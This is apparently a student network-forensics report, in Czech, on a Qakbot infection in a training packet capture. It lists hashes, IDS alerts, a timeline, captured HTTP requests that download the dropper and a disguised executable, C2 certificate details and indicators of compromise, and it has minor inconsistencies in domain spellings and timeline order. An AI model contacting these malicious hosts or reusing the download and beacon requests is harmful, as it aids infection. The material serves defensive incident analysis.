Forenzní analýza síťového provozu

Adam Chovanec – 485 311
J012 Network Forensics

Obsah

1 Předaný důkazní materiál

soubor: malware-analysis.zip
sha256: 748423d0c7f4cd7854e8290dbe2f10444d984b8be6a7d1d2d09045a6544ba833
md5: f3ab1063b1bf59cac8b22f3ee560e391

soubor: 2020-09-16-Qakbot-IOCs.txt
sha256: 19b8e2de0eeb931bd2392d70a330da3aa7235323d0141d040253636c12aad57f
md5: cc3d7a5a2e0bc3ec59a4fa7bf8e03080

Obsah archivu malware-analysis.zip:

soubor: traffic-analysis-exercise-alerts.jpg
sha256: ec878ece8e3918b926698d9a8ee2a644546d7aca212d051ff98ebd995f2189ce
md5: 989022ce0b10c5dc32432aaa85327c63

RealTime Events | Escalated Events

ST	CNT		Date/Time	Src IP	SPort	Dst IP	DPort	Pr	Event Message
RT	89		2020-04-23...	10.0.0.10	53	10.0.0.167	57628	17	ET DNS Standard query response, Name Error
RT	4		2020-04-23...	91.189.92.41	443	10.0.0.202	60564	6	ET POLICY Lets Encrypt Free SSL Cert Observed
RT	1		2020-04-23...	10.0.0.167	58734	10.0.0.10	53	17	ET INFO DNS Query for Suspicious .ga Domain
RT	1		2020-04-23...	119.31.234.40	80	10.0.0.167	51132	6	ET MALWARE Windows executable sent when remote host claims to send an image M3
RT	1		2020-04-23...	52.20.172.27	443	10.0.0.149	57109	6	ET POLICY Lets Encrypt Free SSL Cert Observed
RT	1		2020-04-23...	192.237.143.72	443	10.0.0.149	57169	6	ET POLICY Lets Encrypt Free SSL Cert Observed
RT	10		2020-04-23...	10.0.0.149	58909	10.0.0.10	53	17	ET DNS Query for .co TLD
RT	2		2020-04-23...	34.98.72.95	80	10.0.0.149	57135	6	ETPRO WEB_CLIENT Microsoft Internet Explorer JPEG Rendering Buffer Overflow
RT	4		2020-04-23...	10.0.0.149	50157	10.0.0.10	53	17	ET INFO Observed DNS Query to .cloud TLD
RT	1		2020-04-23...	35.227.97.153	443	10.0.0.149	57313	6	ET POLICY Lets Encrypt Free SSL Cert Observed
RT	2		2020-04-23...	35.190.91.160	80	10.0.0.149	57129	6	GPL WEB_CLIENT web bug 0x0 gif attempt
RT	10		2020-04-23...	3.221.69.200	80	10.0.0.149	57133	6	GPL WEB_CLIENT web bug 0x0 gif attempt
RT	4		2020-04-23...	52.206.164.178	80	10.0.0.149	57208	6	GPL WEB_CLIENT web bug 0x0 gif attempt
RT	3		2020-04-23...	10.0.0.167	51137	10.0.0.10	445	6	ET POLICY Reserved Internal IP Traffic
RT	3		2020-04-23...	10.0.0.10	445	10.0.0.167	51137	6	ET POLICY Reserved Internal IP Traffic
RT	1		2020-04-23...	10.0.0.149	57401	10.0.0.167	139	6	ET INFO Potentially unsafe SMBv1 protocol in use
RT	10		2020-04-23...	10.0.0.149	57401	10.0.0.167	139	6	GPL NETBIOS SMB Session Setup NTMLSSP unicode asn1 overflow attempt
RT	5		2020-04-23...	10.0.0.149	57401	10.0.0.167	139	6	GPL NETBIOS SMB IPC$ unicode share access
RT	10		2020-04-23...	10.0.0.149	57401	10.0.0.167	139	6	GPL NETBIOS SMB SMB_COM_TRANSACTION Max Data Count of 0 DOS Attempt
RT	1		2020-04-23...	34.197.192.192	443	10.0.0.167	51535	6	ET POLICY Lets Encrypt Free SSL Cert Observed
RT	2		2020-04-23...	10.0.0.167	137	10.0.0.149	137	17	ET SCAN NBTStat Query Response to External Destination, Possible Windows Network Enumeration
RT	1		2020-04-23...	10.0.0.167	137	10.0.0.149	137	17	ET POLICY NetBIOS nbtstat Type Query Outbound
RT	1		2020-04-23...	10.0.0.167	137	10.0.0.149	137	17	ET POLICY NetBIOS nbtstat Type Query Inbound
RT	2		2020-04-23...	10.0.0.167	51632	10.0.0.10	135	6	ET NETBIOS DCERPC SVCCTL - Remote Service Control Manager Access

soubor: traffic-analysis-exercise.pcap
sha256: 498ffc6e11fa8b38c07202a6fcb44da2a1064e9f89f6f8516b2985b08532f5e7
md5: 8025c0c952fb8a82d8e114380050a8f9

Informace o záchytu traffic-analysis-exercise.pcap:

první paket: 23. 4. 2020 23:15:43 UTC
poslední paket: 24. 4. 2020 00:03:29 UTC
celková doba záchytu: 00:47:46
počet zachycených paketů 57 430

2 Charakteristika lokální sítě

V záchytu se nachází pět IPv4 adres lokální sítě, přičemž pátá adresa 10.0.0.255 je broadcastová a nereprezentuje žádný skutečný stroj. Doménová jména byla získána z DNS odpovědí lokálního DNS serveru na adrese 10.0.0.10. Ethernetová MAC adresa výchozí brány (default gateway) je ac:16:2d:f5:37:e5.

10.0.0.10

- lokální DNS server (odpovídá na všechny požadavky DNS) a Domain Controller
- doménové jméno SteelCoffee-DC.steelcoffee.net
- spravuje doménu STEELCOFFEE[1]

10.0.0.149

- DESKTOP-C10SKPY.steelcoffee.net
- vystupuje pod ním uživatel alyssa.fitzgerald, jménem Alyssa Fitzgerald, člen skupin Local Group-Administrators a Local Group-Account Operators[2]
- zřejmě operační systém Windows NT 10.0[3]

10.0.0.167

- DESKTOP-GRIONXA.steelcoffee.net
- Vystupuje pod ním účet elmer.obrien uživatele Elmer Obrien, člen skupin Local Group-Administrators a Local Group-Account Operators[4]
- zřejmě operační systém Windows NT 10.0[5]

10.0.0.202

- Zřejmě operační systém Linux, Ubuntu[6]

1 Paket č. 3441, protokol SAMR, EnumDomains Response
2 Paket č. 3455, protokol SAMR, QuerySecurityResponse
3 Paket č. 7794, protokol HTTP, pole User-Agent, paket č. 3124, protokol HTTP, pole User-Agent: Microsoft NCSI, pole Host: www.msftconnecttest.com
4 Paket č. 3136, protokol SAMR, QuerySecurityResponse
5 Paket č. 14, protokol HTTP, pole User-Agent: Microsoft NCSI, pole Host: www.msftconnecttest.com, paket č. 4817, protokol HTTP, pole User-Agent
6 Paket č. 15, protokol HTTP, pole Host: connectivity-check.ubuntu.com, paket č. 589, protokol HTTP, pole User-Agent

3 Stručná časová osa incidentu

Všechny časy jsou v UTC.

23:17:42	• Stroj 10.0.0.167 se dotazuje lokálního DNS serveru 10.0.0.10 na doménu play.astrite.ga, lokální server vrací adresu 158.69.28.93
	• IDS varuje před podezřelým DNS dotazem na doménu .ga
	• Stroj 10.0.0.167 navazuje spojení se serverem play.astrite.ga na portu 80, a z HTTP serveru stahuje soubor Judgement_04222020_318389448.zip
23:18:32	• Infikovaný stroj 10.0.0.167 se pokouší stáhnout soubor /spool/8888.png z několika HTTP serverů, úspěšný je u serveru alphapioneer.com na IP adrese 119.31.234.40
	• IDS varuje před stáhnutým souborem, server tvrdí, že se jedná o obrázek (formát .png), ve skutečnosti je to spustitelný soubor pro OS Microsoft Windows (.exe)
23:31:25	• Infokovaný stroj zahajuje šifrovanou komunikaci s Quakbot C2 serverem kwkuzv.com na IP adrese 96.248.125.34, portu 443
23:36:17	• Infikovaný stroj zahajuje komunikaci se serverem cdn.speedof.me a měří rychlost internetového spojení
23:28:38	• Infikovaný stroj zahajuje komunikaci se serverem blog.nvfamilyoffice.com na IP adrese 89.105.198.119, port 80. Dojde k 6 GET requestům.
00:02:46	• Konec poslední zaznamenané komunikace s Quakbot C2 serverem

4 Detailní přehled

4.1 Extrahované soubory

Následující soubor byl stažený z domény play.astrite.ga pomocí HTTP protokolu:

soubor: Judgement_04222020_318389448.zip
sha256: 75f9135dded44ddbc090f7640a8deda79214c41305260b94b1bc2fdf7011aae7
md5: 32fcf9e1a298e457370d8fbc09f0f81c

Statická analýza VirusTotal[7]: 31 z 61 antivirových programů označilo tento soubor jako malware. Enginy TrendMicro-HouseCall, TrendMicro označily soubor jako malware QAKBOT.

Uvnitř tohoto archivu se nachází jediný soubor Judgement_04222020_1663.vbs:

soubor: Judgement_04222020_1663.vbs
sha256: 1c8a60fbe35465eeb3bbbc1cbe38202f01d2799caf0c452328c290110cf16beb
md5: 0b6134b548e43703f57abe3735e09cbe

Statická analýza VirusTotal[8]: 10 z 58 antivirových programů označilo tento soubor jako malware. V opakované statické analýze VirusTotal[9] 6. 1. 2020 soubor jak malware označilo 28 enginů z 59. Enginy Avast, AVG, TrendMicro a TrendMicro-HouseCall označily soubor jako malware QAKBOT.

Následně stroj 10.0.0.167 stáhl ze serveru alphapioneer.com soubor 8888.png.exe:

soubor: 8888.png.exe
sha256: f6210da7865e00351c0e79464a1ba14a8ecc59dd79f650f2ff76f1697f6807b1
md5: 2cf20a1dd3693b996de4a559f1067850

Statická analýza VirusTotal[10]: 63 enginů ze 69 označily soubor jako škodlivý, řada z nich ho přisoudila konkrétnímu malwaru QAKBOT.

---

7 Statická analýza Virus Total provedena 2020-12-25: https://www.virustotal.com/gui/file/75f9135dded44ddbc090f7640a8deda79214c41305260b94b1bc2fdf7011aae7/detection

8 Statická analýza Virus Total provedena 2020-04-25: https://www.virustotal.com/gui/file/1c8a60fbe35465eeb3bbbc1cbe38202f01d2799caf0c452328c290110cf16beb/detection

9 Statická analýza Virus Total provedena 2020-01-06. Pro potřeby analýzy bylo nutné změnit hash souboru, na sedmý řádek souboru byl přidán znak nového řádku. Tato změna nijak změnila funkci spustitelného souboru. https://www.virustotal.com/gui/file/7cc374bd7e950b872cf6b7adaf00b00310c8bec8adc86805e1971ea973991916/detection

10 Statická analýza Virus Total provedena 2020-12-15: https://www.virustotal.com/gui/file/f6210da7865e00351c0e79464a1ba14a8ecc59dd79f650f2ff76f1697f6807b1/detection

4.2 Síťová spojení

4.2.1 Stažení souboru Judgement_04222020_318389448.zip

Soubor byl stažen ze serveru 158.69.28.93 na standardním HTTP portu 80.

HTTP protokol:

```
GET /docs_q50/318389448/Judgement_04222020_318389448.zip HTTP/1.1
Host: play.astrite.ga
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36 Edg/81.0.416.64
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en
```

```
HTTP/1.1 200 OK
Date: Thu, 23 Apr 2020 23:17:42 GMT
Server: nginx
Connection: keep-alive, Keep-Alive
X-Powered-By: PHP/5.4.16
Accept-Ranges: bytes
Expires: 0
Cache-Control: no-cache, no-store, must-revalidate
Content-Disposition: attachment; filename="Judgement_04222020_318389448.zip"
Content-Length: 94916
Keep-Alive: timeout=5, max=150
Content-Type: application/zip
```

```
…soubor vynechán…
```

Doména atrite.ga nemá whois záznam a není součástí reputačních databází.

4.2.2 Stažení souboru 8888.png.exe

Infikovaný stroj 10.0.0.167 se pokusil stáhnout soubor 8888.png z následujících serverů:

```
atn24live.com           104.24.111.29
bg142.caliphs.my        220.158.200.181
afsholdings.com.my      220.158.200.181
alphapioneer.com        119.31.234.40
```

Komunikace probíhá vždy stejně, nejprve dojde k DNS requestu na doménové jméno a poté k navázání spojení na portu 80 přes protokol HTTP. Zvláštní pozornost zaslouží nestandardní User-Agent: LaraConf a BASE64 zakódovaný textový řetězec „Windows Defender - 6,21,0| Microsoft Windows 10 Pro“.

```
GET /spool/8888.png?
uid=VwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAC0AIAA2ACwAMgAxACwAMAB8AE0Aa
QBjAHIAbwBzAG8AZgB0ACAAVwBpAG4AZABvAHcAcwAgADEAMAAgAFAAcgBvAA== HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-US
User-Agent: LaraConf
Host: alphapioneer.com
```

První tři pokusy skončily neúspěšně:

```
  atn24live.com          -> 302 Found -> /cgi-sys/suspendedpage.cgi -> 404 Not
                         Found
  bg142.caliphs.my       -> 403 Forbidden
  afsholdings.com.my     -> 500 Internal Server Error
```

Čtvrtá doména vrátila kód 200 a došlo ke stažení souboru.

```
  HTTP/1.1 200 OK
  Date: Thu, 23 Apr 2020 23:18:35 GMT
  Server: Apache
  Connection: keep-alive, Keep-Alive
  X-Powered-By: PHP/5.4.16
  Accept-Ranges: bytes
  Expires: 0
  Cache-Control: no-cache, no-store, must-revalidate
  Content-Disposition: attachment; filename="8888.png"
  Upgrade: h2
  Connection: Upgrade
  Content-Length: 1950208
  Vary: Accept-Encoding
  Keep-Alive: timeout=2, max=50
  Content-Type: image/png

  …soubor vynechán…
```

4.2.3 Komunikace s C2 serverem

Infikovaný stroj 10.0.0.167 komunikuje s IP adresou 96.248.125.34 na portu 443 pod šifrovaným protokolem TLS. Tato IP adresa je řazena[11] mezi C2 servery botnetu QAKBOT.

celkový počet paketů: 9205
celkový počet bytů: 7175157
počet bytů z 10.0.0.167 do 96.248.125.34: 5158
počet bytů z 96.248.125.34 do 10.0.0.167: 4047

Komunikaci vždy zahajuje infikovaný stroj 10.0.0.167. Délky konverzací jsou v rozmezí přibližně jedné sekundy až 110 sekund.

Server používá tzv. „self-signed“ TLS 1.2 certifikát:

```
  Issued To:

     Common Name (CN)               kwkuzv.com
     Organization (O)               <Not Part Of Certificate>
     Organizational Unit (OU)       Irlpeda Ohsptl

  Issued By:

     Common Name (CN)               kwkuzv.com
     Organization (O)               Ykadgn Eshest Ouaiwuiao Inc.
     Organizational Unit (OU)       <Not Part Of Certificate>

  Validity:

     Issued On      Thursday, April 23, 2020 at 6:00:45 PM
     Expires On     Sunday, April 23, 2023 at 9:52:26 PM

  Fingerprints:

     SHA-256 Fingerprint  4C E0 2A E2 03 A0 8E A9 40 9A DB 48 B7 FB 97 5D
                          1D 60 BB EC F1 32 90 DD F1 83 D3 8B 3E 20 6C DB
```

11 Například zde: https://tria.ge/200902-we74cxehcs

```
SHA-1 Fingerprint    FE D5 6D 67 C4 98 0B F5 E8 C4 C9 CF 3E 6E 20 68
                     9C ED 3D 3F
```

4.2.4 Test rychlosti internetu

Infikovaný stroj se také připojil na server cdn.speedof.me, IP adresa 72.21.81.189. Tato adresa se používá pro měření rychlosti internetového spojení a není závadná, ale malware QAKBOT ji používá a byla viděna i v jiných záchytech síťového provozu tohoto viru.

5 Přílohy

5.1 IOCs

IP adresy

```
158.69.28.93
104.24.111.29
220.158.200.181
220.158.200.181
119.31.234.40
89.105.198.119
96.248.125.34
```

domény

```
play.astrit.ga
atn24live.com
afsholdings.com.my
alphapioneer.com
bg142.caliphs.my
cdn.speedof.me (legitimní doména)
blog.nvfamilyoffice.com
```

HTTP User-Agent

```
LaraConf
```

HTTP GET Request

```
/docs_q50/318389448/Judgement_04222020_318389448.zip

/cgi-sys/suspendedpage.cgi

/spool/8888.png
```

sha256 hash souborů

```
75f9135dded44ddbc090f7640a8deda79214c41305260b94b1bc2fdf7011aae7
f6210da7865e00351c0e79464a1ba14a8ecc59dd79f650f2ff76f1697f6807b1
1c8a60fbe35465eeb3bbbc1cbe38202f01d2799caf0c452328c290110cf16beb
```

md5 hash souborů

```
32fcf9e1a298e457370d8fbc09f0f81c
2cf20a1dd3693b996de4a559f1067850
0b6134b548e43703f57abe3735e09cbe
```

soubory

```
Judgement_04222020_318389448.zip
8888.png.exe
Judgement_04222020_1663.vbs
```